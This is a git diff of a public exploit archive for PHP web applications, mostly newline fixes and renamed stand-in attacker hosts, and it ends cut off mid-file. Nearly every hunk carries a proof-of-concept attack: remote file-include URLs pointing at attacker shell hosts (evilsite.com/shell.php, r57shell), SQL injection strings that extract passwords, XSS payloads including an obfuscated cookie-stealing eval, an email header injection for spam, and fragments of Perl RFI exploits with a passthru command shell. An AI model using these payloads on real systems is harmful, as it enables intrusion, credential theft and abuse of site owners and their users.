16fbd6d21..e8e405647 100755 --- a/platforms/php/webapps/29855.txt +++ b/platforms/php/webapps/29855.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects FloweRS 2; other versions may also be vulnerable. -http://www.example.com/[path]/cas.php?rok=<script>alert(/the_Edit0r/);</script> \ No newline at end of file +http://www.example.com/[path]/cas.php?rok=<script>alert(/the_Edit0r/);</script> \ No newline at end of file diff --git a/platforms/php/webapps/29863.txt b/platforms/php/webapps/29863.txt index 2d298f9e9..e6e54f27e 100755 --- a/platforms/php/webapps/29863.txt +++ b/platforms/php/webapps/29863.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects Actionpoll 1.1.0; other versions may also be vulnerable. -http://www.example.com/[script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts? \ No newline at end of file +http://www.example.com/[script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts? \ No newline at end of file diff --git a/platforms/php/webapps/29865.txt b/platforms/php/webapps/29865.txt index 00a03c63c..cff289e42 100755 --- a/platforms/php/webapps/29865.txt +++ b/platforms/php/webapps/29865.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Wabbit Gallery Script 0.9 is vulnerable to this issue; other versions may also be affected. http://www.example.com/[path]/showpic.php?pic=[xss] -http://www.example.com/[path]/showpic.php?gal=[xss] \ No newline at end of file +http://www.example.com/[path]/showpic.php?gal=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29866.txt b/platforms/php/webapps/29866.txt index e1fb98818..b2751c270 100755 --- a/platforms/php/webapps/29866.txt +++ b/platforms/php/webapps/29866.txt @@ -8,4 +8,4 @@ PHP-Nuke 8.0.0.3.3b is vulnerable to these issues; other versions may also be af http://www.example.com/nuke/?%2f* -http://www.example.com/html80/?%2f**/UNION%2f**/SELECT \ No newline at end of file +http://www.example.com/html80/?%2f**/UNION%2f**/SELECT \ No newline at end of file diff --git a/platforms/php/webapps/29874.txt b/platforms/php/webapps/29874.txt index 12438d896..810bbef17 100755 --- a/platforms/php/webapps/29874.txt +++ b/platforms/php/webapps/29874.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects PHP Turbulence 0.0.1 alpha; other versions may also be affected. -http://www.example.com/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt? \ No newline at end of file +http://www.example.com/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt? \ No newline at end of file diff --git a/platforms/php/webapps/29876.txt b/platforms/php/webapps/29876.txt index c37b95163..58bb60fed 100755 --- a/platforms/php/webapps/29876.txt +++ b/platforms/php/webapps/29876.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br This issue affects TJSChat 0.95; other versions may also be affected. -http://www.example.com/you.php?user=[xss] \ No newline at end of file +http://www.example.com/you.php?user=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29878.txt b/platforms/php/webapps/29878.txt index f52ea9cd8..8a07fcd2f 100755 --- a/platforms/php/webapps/29878.txt +++ b/platforms/php/webapps/29878.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Allfaclassifieds 6.04 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/admin/setup/level2.php?dir=[EvilScript] \ No newline at end of file +http://www.example.com/[path]/admin/setup/level2.php?dir=[EvilScript] \ No newline at end of file diff --git a/platforms/php/webapps/29879.txt b/platforms/php/webapps/29879.txt index 99f69370f..358834ab0 100755 --- a/platforms/php/webapps/29879.txt +++ b/platforms/php/webapps/29879.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects PHPMyBibli 1.32; other versions may also be vulnerable. -http://www.example.com/includes/init.inc.php?base_path=Shell \ No newline at end of file +http://www.example.com/includes/init.inc.php?base_path=Shell \ No newline at end of file diff --git a/platforms/php/webapps/29880.txt b/platforms/php/webapps/29880.txt index 1a9d7e25d..e855479a8 100755 --- a/platforms/php/webapps/29880.txt +++ b/platforms/php/webapps/29880.txt @@ -5,4 +5,4 @@ File117 is prone to multiple remote file-include vulnerabilities because it fail Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. http://www.example.com/html/php/detail.php?relPath=[shell]? -http://www.example.com/html/php/detail.php?folder=[shell]? \ No newline at end of file +http://www.example.com/html/php/detail.php?folder=[shell]? \ No newline at end of file diff --git a/platforms/php/webapps/29882.html b/platforms/php/webapps/29882.html index 9ce44f5e3..bb0aa6b5f 100755 --- a/platforms/php/webapps/29882.html +++ b/platforms/php/webapps/29882.html @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc phpMySpace Gold 8.10 is vulnerable; other versions may also be affected. -<html> <head><title>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</title><body> <center><br><br><font size=4>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=+%22Powered+by+phpMySpace+Gold+8.10%22">"Powered by Ripe Website Manager"</a></font><br> <br><br> <form action="http://www.example.com/path/modules/news/article.php" method="get"> <input name="mode" type="hidden" value="0"> <input name="order" type="hidden" value="0"> <input name="item_id" size=75 value="1" AND "1"="0"> <input type=submit value="Execute SQL Injection" class="button"> </form> </body></html> \ No newline at end of file +<html> <head><title>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</title><body> <center><br><br><font size=4>phpMySpace Gold (v8.10) - Blind SQL/XPath Injection Exploit</font><br><font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a><br><br>Google d0rk: <a href="http://www.google.com/search?q=+%22Powered+by+phpMySpace+Gold+8.10%22">"Powered by Ripe Website Manager"</a></font><br> <br><br> <form action="http://www.example.com/path/modules/news/article.php" method="get"> <input name="mode" type="hidden" value="0"> <input name="order" type="hidden" value="0"> <input name="item_id" size=75 value="1" AND "1"="0"> <input type=submit value="Execute SQL Injection" class="button"> </form> </body></html> \ No newline at end of file diff --git a/platforms/php/webapps/29883.txt b/platforms/php/webapps/29883.txt index 48e412258..03f57bdb1 100755 --- a/platforms/php/webapps/29883.txt +++ b/platforms/php/webapps/29883.txt @@ -4,4 +4,4 @@ acvsws_php5 is prone to a remote file-include vulnerability because it fails to Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/inc_ACVS/SOAP/Transport.php?CheminInclude=Shell \ No newline at end of file +http://www.example.com/inc_ACVS/SOAP/Transport.php?CheminInclude=Shell \ No newline at end of file diff --git a/platforms/php/webapps/29885.txt b/platforms/php/webapps/29885.txt index 5b009f64c..241ea047b 100755 --- a/platforms/php/webapps/29885.txt +++ b/platforms/php/webapps/29885.txt @@ -4,4 +4,4 @@ Claroline is prone to a remote file-include vulnerability because it fails to su Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com//claroline/inc/lib/rootSys=Shell \ No newline at end of file +http://www.example.com//claroline/inc/lib/rootSys=Shell \ No newline at end of file diff --git a/platforms/php/webapps/29886.txt b/platforms/php/webapps/29886.txt index fe6e42b12..ea4a710b2 100755 --- a/platforms/php/webapps/29886.txt +++ b/platforms/php/webapps/29886.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects LMS 1.5.3 and 1.5.4; earlier versions may also be vulnerable. -http://www.example.com/modules/rtmessageadd.php?_LIB_DIR=Shell? \ No newline at end of file +http://www.example.com/modules/rtmessageadd.php?_LIB_DIR=Shell? \ No newline at end of file diff --git a/platforms/php/webapps/29895.txt b/platforms/php/webapps/29895.txt index acc7e850b..c99f8fb6b 100755 --- a/platforms/php/webapps/29895.txt +++ b/platforms/php/webapps/29895.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Versions prior to phpMyAdmin 2.10.1 are vulnerable to this issue. http://www.example.com/[path]/showpic.php?pic=[xss] -http://www.example.com/[path]/showpic.php?gal=[xss] \ No newline at end of file +http://www.example.com/[path]/showpic.php?gal=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29899.txt b/platforms/php/webapps/29899.txt index 55836cbad..00df2cd7e 100755 --- a/platforms/php/webapps/29899.txt +++ b/platforms/php/webapps/29899.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects MyNewsGroups 0.6; other versions may also be vulnerable. -http://www.example.com/include.php?myng_root=http://shell \ No newline at end of file +http://www.example.com/include.php?myng_root=http://shell \ No newline at end of file diff --git a/platforms/php/webapps/29902.txt b/platforms/php/webapps/29902.txt index 60b5ee0eb..3dd3b578e 100755 --- a/platforms/php/webapps/29902.txt +++ b/platforms/php/webapps/29902.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects PHPMyTGP 1.4b; other versions may also be affected. -http://www.example.com/addvip.php?msetstr["PROGSDIR"]=http://shell \ No newline at end of file +http://www.example.com/addvip.php?msetstr["PROGSDIR"]=http://shell \ No newline at end of file diff --git a/platforms/php/webapps/29903.txt b/platforms/php/webapps/29903.txt index b0cb25765..c6f3f196b 100755 --- a/platforms/php/webapps/29903.txt +++ b/platforms/php/webapps/29903.txt @@ -5,4 +5,4 @@ Ahhp Portal is prone to multiple remote file-include vulnerabilities because it Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. http://www.example.com/page.php?fp=r57shell? -http://www.example.com/page.php?sc=r57shell? \ No newline at end of file +http://www.example.com/page.php?sc=r57shell? \ No newline at end of file diff --git a/platforms/php/webapps/29907.txt b/platforms/php/webapps/29907.txt index b6082360e..4d1d2ba74 100755 --- a/platforms/php/webapps/29907.txt +++ b/platforms/php/webapps/29907.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects Comus 2.0; other versions may also be affected. -http://www.example.com/accept.php?DOCUMENT_ROOT=http://shell \ No newline at end of file +http://www.example.com/accept.php?DOCUMENT_ROOT=http://shell \ No newline at end of file diff --git a/platforms/php/webapps/29908.txt b/platforms/php/webapps/29908.txt index 98657ef9c..17bf961d8 100755 --- a/platforms/php/webapps/29908.txt +++ b/platforms/php/webapps/29908.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and These issues affect Sunshop 4; other versions may also be vulnerable. -http://www.example.com/include/payment/payflow_pro.php?abs_path=http://www.example2.com/? \ No newline at end of file +http://www.example.com/include/payment/payflow_pro.php?abs_path=http://www.example2.com/? \ No newline at end of file diff --git a/platforms/php/webapps/29909.txt b/platforms/php/webapps/29909.txt index 5c91f0561..ede45cc7b 100755 --- a/platforms/php/webapps/29909.txt +++ b/platforms/php/webapps/29909.txt @@ -4,4 +4,4 @@ HYIP Manager Pro is prone to multiple remote file-include vulnerabilities becaus Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/inc/libs/Smarty_Compiler.class.php?plugin_file=http://www,example2.com \ No newline at end of file +http://www.example.com/inc/libs/Smarty_Compiler.class.php?plugin_file=http://www,example2.com \ No newline at end of file diff --git a/platforms/php/webapps/29910.txt b/platforms/php/webapps/29910.txt index 0973a1e32..c598d7e45 100755 --- a/platforms/php/webapps/29910.txt +++ b/platforms/php/webapps/29910.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to execute malicious PHP code in the htmlEditbox 2.2 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/_editor.php?settings[app_dir]=http://shell \ No newline at end of file +http://www.example.com/_editor.php?settings[app_dir]=http://shell \ No newline at end of file diff --git a/platforms/php/webapps/29911.txt b/platforms/php/webapps/29911.txt index f688847bb..3b405845e 100755 --- a/platforms/php/webapps/29911.txt +++ b/platforms/php/webapps/29911.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and DynaTracker 1.5.1 is reported vulnerable; other versions may also be affected. -http://www.example.com/DynaTracker_v151/includes_handler.php?base_path=http://shell \ No newline at end of file +http://www.example.com/DynaTracker_v151/includes_handler.php?base_path=http://shell \ No newline at end of file diff --git a/platforms/php/webapps/29913.txt b/platforms/php/webapps/29913.txt index bb2c30394..ca0ec2405 100755 --- a/platforms/php/webapps/29913.txt +++ b/platforms/php/webapps/29913.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th Active PHP Bookmarks 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/apb.php?APB_SETTINGS['apb_path']=http://shell/ \ No newline at end of file +http://www.example.com/apb.php?APB_SETTINGS['apb_path']=http://shell/ \ No newline at end of file diff --git a/platforms/php/webapps/29914.txt b/platforms/php/webapps/29914.txt index 4651b61a8..c3d683df5 100755 --- a/platforms/php/webapps/29914.txt +++ b/platforms/php/webapps/29914.txt @@ -5,4 +5,4 @@ Doruk100Net is prone to a remote file-include vulnerability because it fails to Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. http://www.example.com/[path]/info.php?file=http://shell -http://victim/info.php?file=http://shell \ No newline at end of file +http://victim/info.php?file=http://shell \ No newline at end of file diff --git a/platforms/php/webapps/29915.txt b/platforms/php/webapps/29915.txt index 0e04592d5..7631f1d4d 100755 --- a/platforms/php/webapps/29915.txt +++ b/platforms/php/webapps/29915.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MoinMoin 1.5.7 is vulnerable; other versions may also be affected. -http://www.example.com/action=AttachFile&do=<script src=http://js_script></script> \ No newline at end of file +http://www.example.com/action=AttachFile&do=<script src=http://js_script></script> \ No newline at end of file diff --git a/platforms/php/webapps/29921.py b/platforms/php/webapps/29921.py index 9f60842a6..9a9395852 100755 --- a/platforms/php/webapps/29921.py +++ b/platforms/php/webapps/29921.py @@ -11,7 +11,7 @@ #[PoC] : #The username and password of the database may be obtained trough the "application.ini" file -#Vulnerable page : http://server/application/configs/application.ini +#Vulnerable page : http://target.com/application/configs/application.ini #!/usr/bin/python diff --git a/platforms/php/webapps/29938.txt b/platforms/php/webapps/29938.txt index 953fcbb18..f89522ff2 100755 --- a/platforms/php/webapps/29938.txt +++ b/platforms/php/webapps/29938.txt @@ -4,4 +4,4 @@ E-Annu is prone to an SQL-injection vulnerability because it fails to sufficient Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. -http://www.example.com/home.php?a='/**/UNION/**/SELECT/**/0,password,1,2,3,4,6/**/FROM/**/user/**/WHERE/**/user_id=1/* \ No newline at end of file +http://www.example.com/home.php?a='/**/UNION/**/SELECT/**/0,password,1,2,3,4,6/**/FROM/**/user/**/WHERE/**/user_id=1/* \ No newline at end of file diff --git a/platforms/php/webapps/29941.txt b/platforms/php/webapps/29941.txt index 3a04e18c7..8c03097e1 100755 --- a/platforms/php/webapps/29941.txt +++ b/platforms/php/webapps/29941.txt @@ -8,4 +8,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc CMS Made Simple 1.05 is vulnerable to this issue; other versions may also be affected. http://www.example.com/stylesheet.php?templateid=16+AND+1=1 -http://www.example.com/stylesheet.php?templateid=16+AND+1=0 \ No newline at end of file +http://www.example.com/stylesheet.php?templateid=16+AND+1=0 \ No newline at end of file diff --git a/platforms/php/webapps/29944.pl b/platforms/php/webapps/29944.pl index d2ddb17c7..32f930601 100755 --- a/platforms/php/webapps/29944.pl +++ b/platforms/php/webapps/29944.pl @@ -32,7 +32,7 @@ Exploiting this issue may allow an attacker to compromise the application and th # usage: # perl exploit.pl <PSA Locaction> <shell location> <shell cmd> # -# perl exploit.pl http://server/[PSA_Path]/ http://server/cmd.txt cmd +# perl exploit.pl http://site.com/[PSA_Path]/ http://site.com/cmd.txt cmd # # cmd shell example: <?passthru($_GET[cmd]);?> # @@ -94,7 +94,7 @@ sub usage() { head(); print " Usage: perl exploit.pl <PSA Locaction> <shell location> <shell cmd>\r\n\n"; -print " <PSA Locaction> - Full path to PSA ex: http://www.xxx-server/\r\n"; +print " <PSA Locaction> - Full path to PSA ex: http://www.xxx-site.com/\r\n"; print " <shell location> - Path to cmd Shell e.g http://www.xxx-host.com/cmd.txt\r\n"; print " <shell cmd> - Command variable used in php shell \r\n"; print " ============================================================================\r\n"; diff --git a/platforms/php/webapps/29953.txt b/platforms/php/webapps/29953.txt index aa68db4db..028b07e0e 100755 --- a/platforms/php/webapps/29953.txt +++ b/platforms/php/webapps/29953.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th PHP Content Architect 0.9 pre 1.2 is vulnerable; other versions may also be affected. -http://www.example.com/[path]noah/modules/noevents/templates/mfa_theme.php?tpls[1]=[shell] \ No newline at end of file +http://www.example.com/[path]noah/modules/noevents/templates/mfa_theme.php?tpls[1]=[shell] \ No newline at end of file diff --git a/platforms/php/webapps/29963.txt b/platforms/php/webapps/29963.txt index 913f7fb4b..ff03a6d77 100755 --- a/platforms/php/webapps/29963.txt +++ b/platforms/php/webapps/29963.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Kayako eSupport 3.00.90 is vulnerable to this issue; other versions may also be affected. -http://example.com/index.php?_m="><script>alert(1);</script> \ No newline at end of file +http://example.com/index.php?_m="><script>alert(1);</script> \ No newline at end of file diff --git a/platforms/php/webapps/29965.txt b/platforms/php/webapps/29965.txt index 39d5048d5..d2431f9f0 100755 --- a/platforms/php/webapps/29965.txt +++ b/platforms/php/webapps/29965.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Advanced Guestbook 2.4.2; other versions may also be affected. -http://www.example.com/picture.php?size[0]=1&size[1]=1&img=1&picture=[xss] \ No newline at end of file +http://www.example.com/picture.php?size[0]=1&size[1]=1&img=1&picture=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/3000.pl b/platforms/php/webapps/3000.pl index a96896ab5..73e510e4d 100755 --- a/platforms/php/webapps/3000.pl +++ b/platforms/php/webapps/3000.pl @@ -149,7 +149,7 @@ sub usage(){ print q{ Usage: perl pagetool07.pl <host> <shell location> - Example: perl pagetool07.pl www.victim.net www.shellserver/shell.txt + Example: perl pagetool07.pl www.victim.net www.shellsite.com/shell.txt } } diff --git a/platforms/php/webapps/30002.txt b/platforms/php/webapps/30002.txt index dffcbc105..07ac2364f 100755 --- a/platforms/php/webapps/30002.txt +++ b/platforms/php/webapps/30002.txt @@ -27,4 +27,4 @@ Milad Hacking We Love Mohammad -############## \ No newline at end of file +############## \ No newline at end of file diff --git a/platforms/php/webapps/30006.txt b/platforms/php/webapps/30006.txt index 90034fcd4..90a2f1a58 100755 --- a/platforms/php/webapps/30006.txt +++ b/platforms/php/webapps/30006.txt @@ -6,4 +6,4 @@ Exploiting this issue allows remote attackers to execute code in the context of This issue affects Campsite 2.6.1. Earlier versions may also be affected. -http://www.example.com/priv/localizer/LocalizerLanguage.php?g_DocumentRoot=shell.txt? \ No newline at end of file +http://www.example.com/priv/localizer/LocalizerLanguage.php?g_DocumentRoot=shell.txt? \ No newline at end of file diff --git a/platforms/php/webapps/30015.txt b/platforms/php/webapps/30015.txt index eff46c57d..80d248875 100755 --- a/platforms/php/webapps/30015.txt +++ b/platforms/php/webapps/30015.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l Advanced Guestbook 2.4.2 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/../../../hack_www/htdocs/hack \ No newline at end of file +http://www.example.com/../../../hack_www/htdocs/hack \ No newline at end of file diff --git a/platforms/php/webapps/30022.txt b/platforms/php/webapps/30022.txt index 2c5ead203..301cee2d2 100755 --- a/platforms/php/webapps/30022.txt +++ b/platforms/php/webapps/30022.txt @@ -4,4 +4,4 @@ PHP Multi User Randomizer is prone to a cross-site scripting vulnerability becau An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/web/configure_plugin.tpl.php?edit_plugin==[xss] \ No newline at end of file +http://www.example.com/web/configure_plugin.tpl.php?edit_plugin==[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30027.txt b/platforms/php/webapps/30027.txt index 1d523b45f..e30ca1bfb 100755 --- a/platforms/php/webapps/30027.txt +++ b/platforms/php/webapps/30027.txt @@ -8,4 +8,4 @@ CommuniGate Pro 5.1.8 and earlier versions are vulnerable to this issue. Note that this issue is present only when using Microsoft Internet Explorer. -<STYLE>@im\port'\ja\vasc\ript:alert("XSS in message body (style using import)")';</STYLE> \ No newline at end of file +<STYLE>@im\port'\ja\vasc\ript:alert("XSS in message body (style using import)")';</STYLE> \ No newline at end of file diff --git a/platforms/php/webapps/30028.txt b/platforms/php/webapps/30028.txt index 650055539..c80607329 100755 --- a/platforms/php/webapps/30028.txt +++ b/platforms/php/webapps/30028.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow EQDKP 1.3.2c and prior versions are affected. -http://www.example.com/path-to-eqdkp/listmembers.php?show=%22%3E%3Cplaintext%3E \ No newline at end of file +http://www.example.com/path-to-eqdkp/listmembers.php?show=%22%3E%3Cplaintext%3E \ No newline at end of file diff --git a/platforms/php/webapps/30029.txt b/platforms/php/webapps/30029.txt index 534e4ab49..ccec2dfd3 100755 --- a/platforms/php/webapps/30029.txt +++ b/platforms/php/webapps/30029.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects SonicBB 1.0; other versions may also be affected. -http://www.example.com/search.php?query=1&part=[xss] \ No newline at end of file +http://www.example.com/search.php?query=1&part=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/3003.txt b/platforms/php/webapps/3003.txt index 233f4c1c2..a7c89ad6d 100755 --- a/platforms/php/webapps/3003.txt +++ b/platforms/php/webapps/3003.txt @@ -37,10 +37,10 @@ + -> 42: include_once('backend/backend.php'); //see above for vulnerable code + + Proof Of Concept: -+ http://[target]/[path]/popup.php?include_path=http://evilserver/shell.php? -+ http://[target]/[path]/rss.php?include_path=http://evilserver/shell.php? -+ http://[target]/[path]/ajax_request.php?include_path=http://evilserver/shell.php? -+ http://[target]/[path]/mediabroadcast.php?include_path=http://evilserver/shell.php? ++ http://[target]/[path]/popup.php?include_path=http://evilsite.com/shell.php? ++ http://[target]/[path]/rss.php?include_path=http://evilsite.com/shell.php? ++ http://[target]/[path]/ajax_request.php?include_path=http://evilsite.com/shell.php? ++ http://[target]/[path]/mediabroadcast.php?include_path=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-25] diff --git a/platforms/php/webapps/30035.txt b/platforms/php/webapps/30035.txt index 32b844707..e253e5c5c 100755 --- a/platforms/php/webapps/30035.txt +++ b/platforms/php/webapps/30035.txt @@ -8,4 +8,4 @@ SonicBB 1.0 is vulnerable; other versions may also be affected. http://www.example.com/path/search.php?query=1&part=post`<> '' UNIoN SELECT `id`,`password`,1,1,1,1,`username` FROM `users` WHERE id=1/*&by=*/ -http://www.example.com/path/viewforum.php?id=1' UNION SELECT `id`,`password`,1,1,1,1,1 FROM `users` WHERE id=1%23 \ No newline at end of file +http://www.example.com/path/viewforum.php?id=1' UNION SELECT `id`,`password`,1,1,1,1,1 FROM `users` WHERE id=1%23 \ No newline at end of file diff --git a/platforms/php/webapps/30036.html b/platforms/php/webapps/30036.html index f40179086..f5b53d90e 100755 --- a/platforms/php/webapps/30036.html +++ b/platforms/php/webapps/30036.html @@ -4,4 +4,4 @@ The WordPress Akismet plugin is prone to an unspecified vulnerability. Few technical details are currently available. We will update this BID as more information emerges. -<html> <body> <form action="http://www.example.com/wp-admin/plugins.php?page=akismet-key-config" method="post" id="akismet-conf"> <input name="_wpnonce" value="'" type="text"> <input name="_wp_http_referer" value="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105 ,101,41))</script>" type="text"> <input id="key" name="key" size="15" maxlength="12" value="1337"> <input name="submit" value="Update options »" type="submit"> </form> </body> </html> \ No newline at end of file +<html> <body> <form action="http://www.example.com/wp-admin/plugins.php?page=akismet-key-config" method="post" id="akismet-conf"> <input name="_wpnonce" value="'" type="text"> <input name="_wp_http_referer" value="'%2522><script>eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105 ,101,41))</script>" type="text"> <input id="key" name="key" size="15" maxlength="12" value="1337"> <input name="submit" value="Update options »" type="submit"> </form> </body> </html> \ No newline at end of file diff --git a/platforms/php/webapps/30040.txt b/platforms/php/webapps/30040.txt index 795411258..6f19905ce 100755 --- a/platforms/php/webapps/30040.txt +++ b/platforms/php/webapps/30040.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to send spam email in the context of the applic Jetbox 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide \ No newline at end of file +http://www.example.com/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom: any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition: attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide \ No newline at end of file diff --git a/platforms/php/webapps/30042.txt b/platforms/php/webapps/30042.txt index 53c5f31e8..9521aefa1 100755 --- a/platforms/php/webapps/30042.txt +++ b/platforms/php/webapps/30042.txt @@ -11,4 +11,4 @@ http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=[ http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&require[xss] http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=[xss] -http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=1&text=1&title=[xss] \ No newline at end of file +http://www.example.com/jetbox/index.php/view/supplynews/?companyname=1&country=1&email=1&firstname=1&middlename=1&recipient=jetbox@www.example2.com&required=firstname,surname,email,companyname,country,workphone,title,topic,website,text&signupsubmit=true&subject=News&submit=Send&surname=1&text=1&title=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/3005.pl b/platforms/php/webapps/3005.pl index 4c2429107..fe340cef2 100755 --- a/platforms/php/webapps/3005.pl +++ b/platforms/php/webapps/3005.pl @@ -16,7 +16,7 @@ use Getopt::Long; use URI::Escape; use IO::Socket; -$remotefile = "http://evilserver/shell.php"; +$remotefile = "http://evilsite.com/shell.php"; main(); @@ -25,7 +25,7 @@ sub usage print "\nMTCMS <= 2.0 Remote File Include Exploit\n"; print "nuffsaid <nuffsaid[at]newbslove.us>\n"; print "-h, --host\ttarget host\t(example.com)\n"; - print "-f, --file\tremote file\t(http://evilserver/shell.php)\n"; + print "-f, --file\tremote file\t(http://evilsite.com/shell.php)\n"; print "-d, --dir\tinstall dir\t(/mtcms)\n"; exit; } diff --git a/platforms/php/webapps/30050.html b/platforms/php/webapps/30050.html index 4331cef74..3c3eb78c0 100755 --- a/platforms/php/webapps/30050.html +++ b/platforms/php/webapps/30050.html @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Redoable 1.2 is vulnerable; other versions may also be affected. -<!-- Redoable 1.2 - Cross-Site Scripting Vulnerability --------------- Vulnerable Code --------------- header.php (line 6): ... elseif (is_search()) { ?> Search for <?php echo $s } ... searchloop.php (line 24): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), $s); } ------------ Patched Code ------------ header.php (line 6 FIXED): ... elseif (is_search()) { ?> Search for <?php echo strip_tags($s); } ... searchloop.php (line 24 FIXED): elseif (is_search()) { printf(__('Search Results for \'%s\'','redo_domain'), strip_tags($s)); } Vulnerable Variable: s Vulnerable File: wp-content/themes/redoable/searchloop.php and header.php Vulnerable: Redoable 1.2 (other versions should also be vulnerable) Google d0rk: "and Redoable 1.2" John Martinelli john@martinelli.com RedLevel Security http://www.RedLevel.org May 17th, 2007 !--> <html> <head><title>Redoable 1.2 - Cross-Site Scripting Vulnerability</title><body> <center><br><br> <font size=4>Redoable 1.2 - Cross-Site Scripting Vulnerability</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a 